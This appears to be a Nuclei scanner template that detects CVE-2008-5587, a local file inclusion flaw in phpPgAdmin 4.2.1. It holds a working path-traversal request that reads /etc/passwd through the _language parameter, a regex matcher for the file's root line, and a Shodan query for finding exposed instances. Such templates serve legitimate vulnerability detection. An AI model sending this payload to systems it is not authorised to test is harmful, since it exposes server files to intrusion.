id: CVE-2008-5587

info:
  name: phpPgAdmin <=4.2.1 - Local File Inclusion
  author: dhiyaneshDK
  severity: medium
  description: phpPgAdmin 4.2.1 is vulnerable to local file inclusion in libraries/lib.inc.php when register globals is enabled. Remote attackers can read arbitrary files via a .. (dot dot) in the _language parameter to index.php.
  reference:
    - https://www.exploit-db.com/exploits/7363
    - http://web.archive.org/web/20210121184707/https://www.securityfocus.com/bid/32670/
    - http://web.archive.org/web/20160520063306/http://secunia.com/advisories/33014
    - http://web.archive.org/web/20151104173853/http://secunia.com/advisories/33263
    - https://nvd.nist.gov/vuln/detail/CVE-2008-5587
  classification:
    cve-id: CVE-2008-5587
  metadata:
    shodan-query: http.title:"phpPgAdmin"
  tags: cve,cve2008,lfi,phppgadmin,edb

requests:
  - method: GET
    path:
      - '{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00'

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/07/22